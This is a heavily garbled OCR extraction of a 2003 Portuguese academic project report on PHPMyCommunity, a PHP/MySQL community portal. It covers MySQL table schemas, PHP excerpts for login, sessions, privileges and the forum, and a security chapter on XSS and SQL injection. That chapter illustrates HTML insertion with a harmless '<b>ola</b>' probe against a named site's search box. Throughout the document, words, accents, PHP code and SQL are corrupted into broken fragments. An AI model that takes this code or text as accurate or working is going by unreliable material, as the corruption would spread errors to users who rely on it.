Home
        relatório da monografia
         Contents
1.                oseooeeeeeesessssssssseoetrreresssssssssseeererressssssss 69  Ilustra    o 32  tipo de visualiza    o de uma resposta com privil  gios de administra    o              e eessesessssssseeoeeerssssssss 70  Ilustra    o 33   Listagem dos itens dentro de uma categorla                       ssssgg ggg zzssssss                   ee   t   ee ee                    ee e   t             s T2  Ilustra    o 34  Exemplo de como    mostrado um item de uma categoria  Neste caso uma hiperliga    o                        13  Ilustra    o 35   Representa    o de todas as componentes administrativas da gest  o dos quatro m  dulos                       74  Ilustra    o 36  Op    es gerais do sistema de sondagens            ssssssssssssoeeeersesssssssssssoetrrressssssssssseeeterreessssssssseeeereeeessssssss 76    Ilustra    o 37   Exemplo da administra    o de sondagens  Com o primeiro passo da cria    o de uma nova sondagem  77    Ilustra    o 38   Exemplo de pesquisa efectuada unicamente nas not  cias com a palavra  PHPMyCommunity               78  Ilustra    o 39     Exemplo de apresenta    o dos contactos              ssssseseeeeeeresssssssssssscettrressssssssssseeetereresssssssssseeeteeeesssssss 19  Ilustra    o 40   Exemplo de aplica    o do PHPMyCommunity a um caso real    www airsoftportugal com                  93    Ilustra    o 41  Segundo exemplo de aplica    o do PHPMy Community a um caso real    www airsoftportugal com     94    P  gina 8    ISMAI O 2003    1  INTRODU 
2.         PRIMARY KEY E  KEY dad    Cias   FULLTEXT KEY    nome grupo       nome grupo        TYPE MyISAM COMMENT   id grupo id que diz respeito a regiao            Extraindo dados da tabela  grupos          De ESSES BA EB AECE E CE BE EY CEE E E OE E EE CEEE E E CEED EEE E        Estrutura da tabela  log          DROP TABLE IF EXISTS  log     CREATE TABLE    log       rowid int 10  unsigned NOT NULL auto_increment    ip char 15  NOT NULL default       host char 100  NOT NULL default       browser char 100  NOT NULL default         language char 5  NOT NULL default       referrer char 100  NOT NULL default       page char 100  NOT NULL default       tstamp    int  10  NOT NULL default  0    PRIMARY KEY   rowid       TYPE MyISAM           Extraindo dados da tabela  log          E AEE NE D ASS RE EE E E AEE E AZ   E E EE A E        Estrutura da tabela  login          DROP TABLE IF EXISTS login     CREATE TABLE  login        id    int  32  NOT NULL auto_increment    nome varchar  250  NOT NULL default         username    varchar  250  NOT NULL default         password varchar  250  NOT NULL default       email  varchar 250  NOT NULL default       hobbies  varchar  250  NOT NULL default        P  gina 88    ISMAI O 2003       icg varchar  250  NOT NULL default          msn  varchar  250  NOT NULL default          avatar varchar  250  NOT NULL default  O utilizador n  o enviou nenhum avatar        data dia warchar  10  NOT NULL default          data hora varchar  10   NOT NULL defau
3.        tipo varchar 10  NOT NULL default         dl  cat int  32  NOT NULL default  0       data dia varchar  20  NOT NULL default       data_hora  varchar 10  NOT NULL default      PRIMARY KEY Caid      TYPE MyISAM COMMENT  tabela com todos os links e downloads           Extraindo dados da tabela dl                t Estratara da tabela  dl  cat       DROP TABLE IF EXISTS    dl cat     CREATE TABLE    dl cat     id    int  32  NOT NULL auto_increment    nome varchar  255  NOT NULL default         descricao varchar  255  NOT NULL default       tipo varchar  10  NOT NULL default        PRIMARY KEY   id      TYPE MyISAM COMMENT  dl   gt  downloads links   tabela das categorias         Extraindo dados da tabela dl cat        E UR Ee Bet E SE PESTE VE e ESPERE E ES Ec RESETE E Esz ESSES FESS RE ES E PES PRESSA SS GSE PS PEA E EN DE TES PS ER PES   S  T   N    P  gina 86    ISMAI O 2003         Estrutura da tabela  dl_comentarios          DROP TABLE IF EXISTS  dl_comentarios    CREATE TABLE    dl comentarios      id    int  32  NOT NULL auto_increment    id_referer  int  32  NOT NULL default  0       corpo  blob NOT NULL      enviado por varchar  255  NOT NULL default         data dia varchar  20  NOT NULL default       data_hora  varchar 10  NOT NULL default      PRIMARY KEY Bad     TYPE MyISAM COMMENT  Tabela dos comentarios   id referer    o ID da tabela dl            Extraindo dados da tabela    dl comentarios         O E MA RM O E DO AA O N T N E E MA EN A T S AO T RM TA RO MO
4.       A gest  o destes m  dulos    efectuada directamente pelo documento e pela p  gina de  administra    o    Todos os coment  rios podem ser removidos do objecto pelo respons  vel do m  dulo em quest  o   directamente na zona de coment  rios  tal como    vis  vel na ilustra    o 35     O resto do documento e das categorias s  o administr  veis da mesma forma que o resto das  componentes da p  gina  As categorias e os itens podem ser editados  removidos ou adicionados a partir  da p  gina designada para cada um dos m  dulos  Como s  o apenas necess  rios dois ficheiros respons  veis  pela cria    o do HTML  para a sua gest  o    igualmente preciso dois ficheiros  a ap php e a dl php     A semelhan  a do c  digo poder   parecer injustificada  mas relembrando um dos objectivos do  PHPMyCommunity  ou seja  ser facilmente editado por terceiros    uma forma de escrever bastante  valiosa para quem deseja efectuar melhorias ao programa  Assim  o uso de dois ficheiros poder   diminuir  o tempo de pesquisa de quem tenta entender o c  digo  Apesar de serem parecidos  existem algumas  diferen  as  visto que  os artigos e os produtos requerem o upload de imagem para o servidor  que por sua    vez  os downloads e os links n  o proporcionam     P  gina 73    Relat  rio do projecto   PHPMyCommunity    Categoria   Cilindros aj    Descri    o                     Nan    orbigat  rio CODE prego       Browse       Listagem de todas as categorias     Cilindros  Polini  Malossi  Hebo  Top Perform
5.     Carp    view news    include     include noticias php      elseif    GET  p     noticia     include     include noticias php      elseit  5  Gari    login   Cincinde  o Vainelude lLoginsphovpa  elseif  8 Ger       Logout   fimel  del   Inel  de loginsphp     else  include    include home  php             4 5  Seguran  a    Tudo    fal  vel  nada    seguro e o PHPMyCommunity n  o escapa a esta regra  Mas  partindo do  princ  pio que tudo pode ser quebrado  n  o se pode deixar a seguran  a num segundo plano  Por isso   chegando    conclus  o que a plataforma tem que ser o menos insegura poss  vel  tentando impedir ao  m  ximo qualquer tipo de acesso n  o permitido    Na tentativa de programar um c  digo seguro  foi investigado um vasto leque de p  gina  tratando  da seguran  a inform  tica  p  ginas de ajuda a programadores PHP  mailling lists e tudo que pudesse dar o  seu contributo  Encontrou se dois tipos principais de problemas ligados a seguran  a     C S S     cross site  scripting  e    sql Injection      O primeiro    a inser    o de c  digo directamente na p  gina  O segundo    consiste em ter acesso a Informa    es da base de dados atrav  s de pedidos especiais    mesma  juntando    por vezes a Inser    o de c  digo na p  gina     4 5 1  V  rias escalas de pirataria com C S S    Um dos princ  pios base de um site seguro    n  o permitir  de qualquer forma  a inser    o de  c  digo  seja ele HTML  JavaScript e claro PHP  Ao dar este tipo de possibilidade  um utiliz
6.     calculate start coordinates  Simage center y    Simage height 2   Sfont height 2      74 weite String  ImageString  Sim  3  Simage center x  Simage center y  Snome cat  Swhite         output to browser  ImagePNG  Sim       Depois da imagem criada     inserida no HTML e enviada para o cliente  Caso o GD esteja  desactivado o processo    muito mais simples  porque    um simples c  digo HTML com uma vari  vel  proveniente do PHP  O pr  ximo c  digo    uma amostra do ficheiro    menu php    onde se pode observar     por um lado  a cria    o atrav  s da biblioteca GD e  por outro  o m  todo cl  ssico       Com a bibliogeca grarica ED  ou sem   if  Smenu gd   true     Sdin menu   lt table width   1121  border  WoA cellspacing N 0ON   cellpacgdinao A ONCE ces td vidth N PANE imo sre Nors quacros toc   LEE Gal 1E 4 4  wLotnN  Nine Ton SA Mas ed cd vide y TOS  background N include button php nome cat  nome cat  gt  lt img  Sne  Nro quadros space r qa di   NUNO hetonhe   NDT ecc  WI Ens NNE came nc  gi quadros top right qui wicdtn    244  heigat   2  gt  lt  r0 gt  lt  tr gt  lt  table gt       else   Schin m  nu   lt table wictn   YI I2A border  Von celispacing N DA     cellpaccding    O0  gt  lt tr gt   lt to wiotn    2A  colspan     2   gt  lt img  Ssce  or quadros   too lerr  gL    wiokthn  Y2 nY height  CZE Eds td  width   108   background     gfx menu menu_title gif   gt  lt span  class     tabela titulo  gt  lt center gt  lt  b gt  SnG cat lt  b gt  lt  center gt  lt  span g
7.     index php p downloads   1  9        produtos     index php p produtos   1  5     10  1   contactos     index php p contactos   1  11    1   artigos     index php p artigos   1  6             HAHA                                     3  1   noticias     index php p news   1  2          log in     index php p login   1  12      13  1   forum     index php p forum   9  4       1   sondagens     index php p sondagens   1  7      238  5   contactos      index php p admin amp auth a_contactos   26  5   conf  base     index php p admin amp auth a_site   20   16  5   pessoal     index php p admin amp auth a_pessoal   2        membros     index php p admin amp auth a_membros   10   237  91   noticias     index php p admin amp auth a_noticias                                                19  5   my Group     index php p admin amp auth a_mygroup     2  20  5   links     index php p admingauth a links   128  8  21  5   downloads     index php p admingauth a downloads      produtos     index php p admingauth a produtos      forum     index php p admin amp auth a forum   8  0      sondagens     index php p admingauth a poll   16      artigos     index php p admingauth a artigos    4   233  1   pesquisa     index php p search   1  8      MN  N      UNA TU UU   D Ba           235  90   cat forum     index php p admin amp auth a_catforum      236  91   cat news     index php p admin amp auth a_catnews     239  5   stats     index php p admin amp auth a_stats   1024       Estrutura da tabe
8.     pedidos grupos       DROP TABLE IF EXISTS pedidos grupos   CREATE TABLE pedidos grupos        id pedido  int  100  NOT NULL auto_increment      id user pedido    int  100  NOT NULL default  0       id grupo pedido    int  100  NOT NULL default  0       data pedido varchar 200  NOT NULL default      PRIMARY KEY   id pedido     TYPE MyISAM COMMENT  Pedidos dos utilizadores em pertencer a um grupo               Extraindo dados da tabela    pedidos grupos          OE E S S E N RE DD SEE SEN E SD SN SE SD SEE EN TED SEE TEN SD SEEN SE SD SEEM SE E SEE SE O E VS SEA        Estrutura da tabela  poll_comentarios         DROP TABLE IF EXISTS poll comentarios    CREATE TABLE poll comentarios     id    int 32  NOT NULL auto_increment      id pergunta int 32  NOT NULL default  0       corpo text NOT NULL    owner varchar  255  NOT NULL default         data dia varchar  20  NOT NULL default         data hora varchar  10  NOT NULL default      PRIMARY KEY   id      TYPE MyISAM COMMENT  Tabela dos comentarios das sondagens            Extraindo dados da tabela  poll_comentarios          EE aE sar E EE N OREN a E DD o PSD E N E N E DG O SD N E GD N VD a SA E E E E E O 2        Estrutura da tabela  poll_perguntas         DROP TABLE IF EXISTS poll perguntas    CREATE TABLE poll perguntas     id int 32  NOT NULL auto_increment      pergunta varchar 255  NOT NULL default       voters int 32  NOT NULL default  0       data dia varchar 20  NOT NULL default         data hora varchar 10  NOT NULL
9.    Descri    o do inicio da guerra   fonte  wma rtp  pt    11 03 2003 gade girl Um estudo realizado pela comunidade internacional baga   Hgy   13122 z    indica que o nivel de inteligencia do povo  Americano    superior    do seu Lider  George W   Bush    Categoria de noticias  Noticias PHP    data autor    Escrever uma noticia     Ilustra    o 17   Administra    o das noticias        A t  cnica usada para apenas mostrar o conte  do de cada um dos administradores de not  cia     simples  fez se o uso dos privil  gios  comparando os com a base de dados  tal como est   escrito no    ficheiro    a noticias php     tal como se pode visualizar no seguinte excerto     if  Snivel user   4095  1   sql ver noticias   select campo nome  campo email  data dia  data hora  id   id cat news  news resumo from news where id cat news  Sid  order by  id     else    Ssgl ver noticias  select campo nome  campo email  data dia  data hora  id   id cat news  news resumo from news where id cat news  Sid  and  campo nome  Susername   order by  id      Pouco tempo depois de ter sido lan  ado a primeira vers  o de testes da plataforma  foi descoberto  um erro que permitia a um administrador de not  cias apagar ou editar o conte  do de um outro  administrador  Foi ent  o implementado uma pequena verifica    o que corrige este bug verificando se o id  presente na sess  o    o mesmo que id do autor da not  cia  O c  digo PHP a seguir ilustra como foi realizado    este acr  scimo de seguran  a     P  gina 
10.    O    1 1  Descri    o do projecto    Este documento representa o relat  rio do trabalho de fim do curso de Tecnologias de Comunica    o  Multim  dia do Instituto Superior da Maia  ISMAL     O projecto PHPMyCommunity    uma resposta a uma procura por parte de algumas  comunidades  na medida em que todas as plataformas existentes n  o se adaptavam   s suas necessidades   O principal problema encontra se na designa    o dos produtos  onde em muitos dos casos eram gestores  de conte  do  n  o existindo gestores de comunidades  At   agora  o   nico meio de comunica    o era atrav  s  de f  runs ou mesmo pelas plataformas j   existentes  Foi ent  o desenvolvido um sistema pensado nas  necessidades de uma pequena ou m  dia comunidade com a ajuda de alguns respons  veis das mesmas  O  resultado deste desenvolvimento    a cria    o de uma ferramenta de comunica    o atrav  s de uma p  gina  criada    medida das procuras destas comunidades    O PHPMyCommunity assume se como uma pequena plataforma de gest  o e interac    o de  comunidades  sem grandes perspectivas  constru  da apenas no   mbito acad  mico  Apesar de se afirmar  como um produto gratuito  todo o seu uso necessita de um requisito por parte do propriet  rio    Este relat  rio    um documento explicativo das principais fun    es do PHPMyCommunity  resumindo    as potencialidades deste sistema e explorando as suas componentes te  rico pr  ticas     1 2  Objectivos    Os objectivos do PHPMyCommunity s  o diversos  mas o mai
11.   Confirmar Password  Email    Idade    ICQ    Msn    Pagina pessoal     Passatempos     Grupo associado     gt  M  o estou em nenhum destes grupos           astra ta  PO hI     E amo descer E IS qe EE mo    Ilustra    o 19  Formul  rio de registo  Todos os campos obrigat  rios est  o  assinalados com              Foram igualmente inseridas duas p  ginas que permitem esclarecer o utilizador sobre v  rios  pontos  tais como     Vantagens em registar se    e    Condi    es gerais de acesso       Processada no ficheiro    login php    a identifica    o do utilizador    realizada com um pedido  especial    base de dados como foi abordado no cap  tulo sobre a seguran  a da plataforma  Proporcionando   assim  a sua devida autoriza    o como utilizador registado  alterando as vari  veis de sess  o e actualizando    a base de dados com o   ltimo IP do utilizador  Extra  do do    login php     o segumte c  digo permite    esclarecer como funciona a altera    o da sess  o caso o pedido SQL retorne um resultado positivo     P  gina 53    Relat  rio do projecto   PHPMyCommunity            TE  Sresultado    Sregisto mysql fetch array  Sresultado    LE  Sregisto  ent     11  Sid username Sregisto  id     writeloged   username         SESSION    identificacao    Erue    S SESSIONI  session username     Susername     S SESSIONI  session id username    Sid username         actualizar o   ltimo IP da pessoa que se identificou   Slo utilizacor  _ SERVER    REMOTE ADDR     Ssgl update last ip  u
12.   OLUDOS ee a E E Ei 25  H   NOME DOT irian E E 41  MIJCCSS PAR A EATA 20    HTML   8  12  19  21  33  36  37  38  39  41  42   43  45  46  47  49  55  66  72  74  80  82  95   96    MUDA CONT oir T a 15  Hypertext Preprocessor         eee 12  I   DS EEEE E EAT AE AT 13 33  DORA sortido SZEKSZ ras a RR RE 16  EGES Geno apena GR RR a ERRO SUR shy  lb  n 12  Internet Explore ardiena 22  MEANE menna a 12  ISMA Doeane 5  10  39  J   Jaleo DANTES Cos a lk aa 17  DANA Silk ak pap 13  Java SCRIpe us a sai o a 37  43  45  54  JAVASCTD US a a 37  Jay  Green OM Arira dose lekasz  lt 14  SD recusa a ninar a dra sra el on Sea 14 15  L   Lin a 4  13  14  18  83  95  96  O aena N 31    login     19  24  38  39  41  46  47  53  54  56  57   60  83  89  90  91  EOSen READ OD 17 24  47 53    P  gina 97    Relat  rio do projecto   PHPMyCommunity    LOS OLOD OB   ue insano aa Ed EE ER NEEE 18  IO SOU uai arcano SS a SES EK 46  53  54  M   Macromedia Flash                               19  47 58  MDI ESEN SA RR IDO   KESEN 53  membros ONE as egy   25  90  Mensapem Privadas sao saias as 47  PCN EEEE E A E E T 30  MOZZI i onian 14  T   EEE EE EAE E 26  po CU DSR Rae RTP RR PR RE 64  MSO ERR ED o AE 13  MySDT KEREM 11  16  N   Netera oer atos ssa as haras a Isaias 13  NEISCADO capa sia bt E 22  newsFlash                                6  7  8  21  26  43  O   Can REA eerus oi tunas idade nina tada  13  DCE estan ai paula Siad 13  16  P   p  cinas EST  TICAS   cias us etnia 33  pedidos SUPO S e k  s
13.   Sresultado   lt span class N textoN  gt  ERRO  n  o pode apagar esta categoria   porque ainda existem categorias associadas  lt  span gt  lt br gt           P  gina 66    ISMAI O 2003    5 5 2  Listagem do conte  do de um f  rum    A visualiza    o dos t  picos    feita atrav  s desta p  gina  onde    realizada uma listagem dos  t  picos mais recentes at   aos mais antigos  Cada um possui o t  tulo  autor  n  mero de respostas  leituras e  data da   ltima resposta com o nome da pessoa que a enviou  junto com um   cone criando a hiperliga    o  entre a listagem desta   ltima    Um utilizador identificado encontrar   um   cone  indicando que pode inserir um novo t  pico de  conversa  Caso a identifica    o n  o seja verificada  n  o ser   poss  vel faz   lo    No fim da p  gina existe um limitador de t  picos dividindo os em p  ginas  Este limite       configur  vel no ficheiro config php     HOVO TOFICO       gt  Este forum so serve de testes      Hoje az 02 03 Es  Hoje az 02 03 E    E o P Per aade  por gade  por gade    P  ginalst  12     Ilustra    o 30  Listagem dos t  picos reduzida a quatro elementos        A listagem dos t  picos    realizada por v  rios pedidos SQL como exemplifica o seguinte c  digo  PHP do ficheiro f view forum php     importante referir a exist  ncia de duas vari  veis   inicio e  fim     respons  veis pela visualiza    o do conte  do em v  rias p  ginas        Pedido SQL para termos os dados todos relativos as thread topicos  Ssql list thread  sel
14.   mostra as not  cias clic  veis  Ao pressionar numa delas  mostra  unicamente a p  gina pretendida  Caso o visitante pretenda visualizar a p  gina das not  cias  com todas as    categorias  basta clicar no    Ver not  cias        3 1 8  Stats    Com o objectivo de criar uma maior interliga    o entre os utentes da IN  PAM stats    comunidade  desenvolveu se um sistema de estat  sticas chamado     stats     que    Ultimo Membro    permite ao utilizador ter acesso a uma grande quantidade de informa    o   til   Apesar de n  o serem segredos  estes dados n  o s  o vis  veis para um visitante  n  o identificado  porque a informa    o publicada s   diz respeito ao esfor  o  fornecido pela comunidade  inser    o de artigos  produtos  hiperliga    es etc       Mesmo proporcionando a evolu    o do grupo revelando o n  mero de  utilizadores  registados sem Internet  grupos de utilizadores e o   ltimo utilizador    inscrito na comunidade  as estat  sticas funcionam como uma mais valia para  dd  On Line  Off Line   Esta funcionalidade    independente do resto da p  gina  n  o possui  ETT    quem se regista na p  gina     administra    o e apenas efectua algumas contas na base de dados  Grupos    Noticias  Artigos  Produtos  Links    Downloads    Forum  T   P I  mi u kr    Posts       Ilustra    o 6     Resultado HTML das    stats           P  gina 20    ISMAI O 2003    3 2  Outras componentes gr  ficas    3 2 1  T  tulo    2    Tal como o resto da plataforma  o t  tulo    completamente
15.   na tabela de resumo de sondagens  aparece o n  mero total de votos para cada uma das  perguntas  O resultado afixado n  o    calculado     simplesmente retirado da base de dados  Caso os dois    valores n  o sejam coincidentes  pode se concluir que houve falsifica    o nas vota    es       Esta frase aparece na seguinte p  gina  http   nomedoservidor index php p sondagens     P  gina 75    Relat  rio do projecto   PHPMyCommunity    Inserida dia 13 11 2003 as 20 06  Mu  mero total de pessoas que votaram nesta sondagem  1    E sim   mus  100     2  n  o  O vatal  S    Escrever coment  rio     corpo do  coment  rio     Enviar      Titulo da sondagem  Data  ual    a sua marca de computador preferida  186 10 2003   O que acha do sistema de sondagens   20 10 2003   O PFHPhiy Community    uma boa plataforma  13 11 2003    Ilustra    o 36  Op    es gerais do sistema de sondagens        A administra    o das sondagens permite n  o s   criar  mas tamb  m ver  editar e apag   las      perfeitamente poss  vel editar as perguntas e as respostas de uma sondagem  apesar de n  o se poder  reduzir o n  mero de respostas poss  veis  A edi    o  permite unicamente alterar caso haja um erro  ortogr  fico  ou algo menos previs  vel    Sendo rigoroso com os utilizadores  n  o permitindo o duplo voto  a administra    o tamb  m n  o     autorizada a alterar o n  mero de votos totais    Qualquer administrador de sondagens ter   todas as permiss  es  no que diz respeito    s  sondagens  inclusive ap
16.   o se identificou  Ap  s ter feito o login  julgou se desnecess  rio esta  informa    o  tendo em linha de conta que j   foi lida e que poupa largura de banda ao cliente e servidor    Sregisto  mysql fetch array  Sresultado sql writedesc    Swelcome Sregisto  welcome      Swelcome msg Sregisto  welcome msg       Swelcome ass Sregisto  welcome ass     writedesc  S welcome  Swelcome msg  Swelcome ass      A configura    o destes dados s      pode ser feita pelo administrador    editar titulo do site    1 alterar msg de entrada       1 alterar ass  webmaster       alterar Htulo janela da p  inicial       m  ximo  root  na p  gina de    administra    o preenchendo um  Se quiser alterar a mensagem de boas      O que ser   entrar numa loja   vindas  basta alterar este campo     e n  o ser capaz de identificar  imediatamente  que tipo de loja     e que tipo    formul  rio bastante simples     2    E o   nico campo em que o Pode inserir c  digo HTML de produto vendem   lt  p gt    lt p dgora este aspecto   utilizador pode inserir HTML sem A al  n szal elb   p  gina de entrada de    qualquer    restri    es  site  seja ele comercial ou    alterar         P  gina 40    ISMAI O 2003    5 1 2  Not  cias    Como j   foi referido anteriormente  as not  cias s  o o motor de funcionamento de qualquer  comunidade  Foi por isso que se deu um grande destaque   s not  cias  tendo o cuidado de as apresentar por  categorias  mas apenas mostrando o resumo da   ltima categoria inserida  dando ao vi
17.   s catia lina dzs sss af vrr banda 26  1 5 CA A RR E A T A A T TZEK MEN  S 13  Personal Home Page Tools                             12  PRGTOS     Doene EEA 18 95  PE GARD DE ne O CARA a RR ZENERE PR RT 12  PIRES DO nero ndo ico ESEK T 12  PHPMyCommunity                              10  17 41  PEP NUK agira do Sana danca ti bc aantas 59  Pol COMENTARIOS arraia pb ga AI a 21  poll_perguntas            ooesoeooooeeeeessssssssssssseeeeeeee 27  POIL VOEU sede ria id Dad ad A sets 28  POSTGRESQL usassem insira oiii a asd 13  POSTANURO unicas baddo dadas iai 59    P  gina 98    PROCESSAMENTO  ue nanoanaiia Cesare   a ande intao eat nas 12  pseudo   TaMmesS   ssssssss    ss    s  s  z  s                                      t      es 36  NA O aa EE 13  PY NOT aaa RR ON a A E PR 14  R   Rasmus Ledo agn A 12  Ee     o E ARDOR E MS E N E 26  TOO E E ANT  40  41  56  83  90  S   DO A E A AO 53  DOBD a oa A 53  79  Sonda ENS ef E 20  DO a 16  SOL Ineco iais 7  38  39  53     ES    ES RD RS NR S EE 8  21 91  DV DASE actas dose san A E A E 16  U    O dE sen DR RR UR DD 20  95  96  USTOM NE sto iai R 2a  V   Vbulletin BOATA sis a a RE 66  W    webmaster 18  20  22  39  41  43  44  45  48  51   52  56  86    X  DOME EE E t  se taibe isa date 13  XM Eee a E NEE 13  Y  VANNOO do casi a stat t  kebi 36  Z  ZEN D neiaie RR RR   k 13    ISMAI O 2003    C  LOFON    Este documento foi editado electronicamente em Microsoft Word XP  no sistema operativo  Microsoft Windows XP SP2 CORPORATE EDITION  O
18.   ser   apresentada uma s  rie de  op    es    cones  permitindo ver o perfil do utilizador  enviar lhe uma mensagem privada ou ver a sua  p  gina pessoal  se Inserida nos seus dados   A partir destes tipos de privil  gios  tamb  m    poss  vel inserir  um novo t  pico ou simplesmente responder  A   ltima possibilidade    quando o t  pico est   a ser visto por  um administrador de f  rum  onde ter   a op    o de apagar a resposta e ver o IP da pessoa que colocou a    mensagem     Parab  ns    Eu sei que este thread    para criticas e sugest  es  mas achei que tamb  m  era a local indicado para isto       Quero dar os mais sinceros parab  ns aos respons  veis pelo portal    est    MUITO bom    tanto a nivel gr  fico como a nivel funcional    Espero que o airsoftportugal com se torne o site de refer  ncia da  comunidade alrsofter portuquesa  Merece     E j   agora obrigado por me terem convidado para fazer beta test      Desire is Irrelevanto I AM a machine      D 21 10 2003 ma H P     01 13 ip  194 65 14 753    Ilustra    o 32  tipo de visualiza    o de uma resposta com privil  gios de administra    o        A administra    o dos t  picos    dos poucos m  dulos que n  o possui uma administra    o separada     tudo    realizado na pr  pria p  gina  Pode se ver nas ilustra    es 30 e 32  a presen  a de um   cone que    P  gina 70    ISMAI O 2003    permite apagar o t  pico  ou simplesmente a resposta  No primeiro caso    sempre pedida a confirma    o    antes de apagar o t  pico
19.   vel no menu da margem esquerda   url item  p  gina para a qual o item remete   nivel  valor decimal dos privil  gios necess  rio para que ele seja vis  vel ao visitante     ordem  valor da ordem na qual o item ir   aparecer na sua categoria     categorias menu  sendo necess  rio organizar o itens do menu por categorias  esta tabela armazena todas  as categorias do menu    id   chave prim  ria  identificador da categoria do menu       nico e auto incrementado    nivel  valor decimal dos privil  gios necess  rios para que seja vis  vel ao visitante    posicao  valor pela qual ira ser definida a ordem da apresenta    o do menu     nome cat  nome da categoria     contactos  tabela respons  vel pelo armazenamento da informa    o de contactos Inserida na base de dados   Esta tabela possui uma linha de dados   1d   chave prim  ria  identificador da categoria do contacto   titulo janela  titulo da janela dos contactos   conteudo  informa    o sobre a comunidade  empresa  associa    o etc     legenda gfx  Caso inserido uma imagem  avatar  mapa etc    pode colocar uma legenda a  imagem  Este campo    respons  vel por retornar o texto relativo a imagem     gfx  caminho completo da raiz da p  gina at   a imagem em quest  o     counter  tabela que guarda o n  mero de visitas totais do site  Est   interligada com a tabela log  que  permitem o funcionamento das estat  sticas do site atrav  s da p  gina de administra    o  somente para  administrador de membros e dono da plataforma     row
20.  A  ic  Sn morteras   ta   write noticias das categorias   k    Jelse    echo    lt br gt  lt br gt  lt b gt Problemas com a apresenta    o deste conte  do   eventuais  problemas   lt  b gt  lt br gt    lt br gt 1  N  o existem categorias    lt br gt 2  Problemas com os dados inseridos pelo webmaster  admin das  categorias    lt br gt 3  Problemas com a base de dados    lt br gt 4  N  o existem categorias com esta ID    lt br gt 5     utilizador     malrcioso  t  F             b  elseif S GET  p     noticia     tl as   VECH T gt   writenews  Sid     else   write noticias por categorias            P  gina 49    Relat  rio do projecto   PHPMyCommunity    A administra    o das not  cias    realizada atrav  s de uma p  gina espec  fica  acess  vel pelo dono  do portal ou pelos elementos por ele escolhido  proporcionando a publica    o da informa    o  Cada  redactor    respons  vel pelo seu conte  do e assim    ele o   nico  e o webmaster  que pode editar ou apagar  as suas not  cias    O estilo gr  fico da administra    o foi simplificado ao m  ximo  possibilitando uma leitura do seu  conte  do da forma mais correcta  sendo vis  vel no in  cio e no fim do documento a op    o para inserir  not  cia  No centro est   a listagem dos textos escritos pelo autor  data  resumo e dois   cones  editar e    apagar      Escrever uma noticia     Categoria de noticias  comunidade    data autor resumo    20 03 2003 gade girl 20 Mar  o 2003   2h33     In  cio da 20 Guerra Eq  12157 Mundial     
21.  A primeira ser   uma comunidade de utilizadores de scooters em Portugal   PTscooter   e a segunda ser   a comunidade de alunos de um centro de explica    es  Ra  z Quadrada     A n  vel t  cnico  existem outras metas  uma dais quais ser   a melhoria do tamanho geral da    p  gina gerada com vista a um maior cuidado para os utilizadores equipados com modems 56K       Na programa    o de p  ginas HTML  uma tag    simplesmente a formata    o do texto  Por exemplo  um texto em    negrito ter   que ter a seguinte tag   lt b gt  texto em negrito  lt  b gt      P  gina 81    Relat  rio do projecto   PHPMyCommunity    A   AP  NDICE  MANUAL DE INSTALAC  O    Ap  s obten    o da plataforma em formato zip  Windows  ou tgz  Linux   o utilizador ter   que  extrair os ficheiros numa directoria vis  vel ao servidor web  Tomando por exemplo  o dom  nio  66 b 29 z 66 29 Ed he 88  www omeusite com     onde ter   a conta  account  sendo o endere  o da sua p  gina      www  omeusite com  account        A instala    o sup  e que o utilizador j   instalou a base de dados usando ficheiro phpmycommunity sgl   Se n  o estiver familiarizado com estas manipula    es  baseie se no texto explicativo sobre o    PHPMyAdmin logo ap  s o modo de instala    o em Linux em Windows     O seguinte modo de instala    o    especifico para o sistema operativo Linux  e semelhantes   efectuando estes comandos localmente ou por SSH  sendo o telnet pouco seguro   Partindo do pressuposto  que a coloca    o do ficheiro p
22.  C  digo PHP e MySQL foram todos realizados  no mesmo computador  ASUS L8400  com um processador Pentium 3 Mobile a 850 MHZ e 256 MB de  RAM  A vers  o do PHP usada foi PHP 4 2 0  a vers  o do MySQL    3 23 49 max nt  usando o  phpMyAdmin 2 2 6  a vers  o da biblioteca GB    a 1 6 2 usando o Apache 1 3 24  Este conjunto de  software foi descarregado da Internet num pacote chamado EasyPHP  www easyphp org   A vers  o  Instalada neste sistema    a 1 6  Os gr  ficos  modifica    es gr  ficas e capturas de ecr   foram realizadas no  Adobe Photoshop 7 0  Adobe Illustrator 10  Macromedia Freehand 10  A ajuda na cria    o do c  digo    HTML foi realizada no Dreamweaver 4     P  gina 99    Relat  rio do projecto   PHPMyCommunity    P  gina 100    
23.  Inserir uma palavra para procurar  Em vez de escrever    ol       iria escrever      lt b gt ol   lt  b gt      Se a p  gina retornar a palavra    ol       em negrito  quer dizer que se acabou de inserir um  c  digo n  o desejado  ou seja  de uma certa forma estamos a dar a volta ao que foi inicialmente  programado    A p  gina http   www  jsbach org     o perfeito exemplo de p  gina mal constru  da  na medida em  que  se consegue inserir o c  digo HTML dentro do motor de pesquisa  Ao colocar        lt b gt  lt u gt ola lt  u gt  lt  b gt      a p  gina retorna a palavra ol   em negrito sublinhado     P  gina 37    Relat  rio do projecto   PHPMyCommunity    Este pequeno exemplo mostra    Previously featured recordings    como alterar o resultado de uma pesquisa   Um utilizador mal intencionado poderia  em E  alguns casos  recuperar dados vitais da base  de dados     Casos destes  existem com mais       frequ  ncia do que possamos pensar  Este  tipo de altera    es n  o causar   nenhum dano      ao dono da p  gina  mas quando bem J o Bach Home E age  constru  do  o SQL Injection pode destruir  um site  Tou searched for  ala    search agan     Como medida de seguran  a  o    O 56  Partita No  3 for Unaccompanied Ukulele and Other B    PHPMyCommunity foi programado para       d   J S  Bach Fartita Ho  3 for Unaccompamed Ik  ignorar por completo o c  digo dos    formul  rios de pesquisa  ou de qualquer outro campo  inser    o de mensagens no f  rum  coment  rios  etc     Elimina
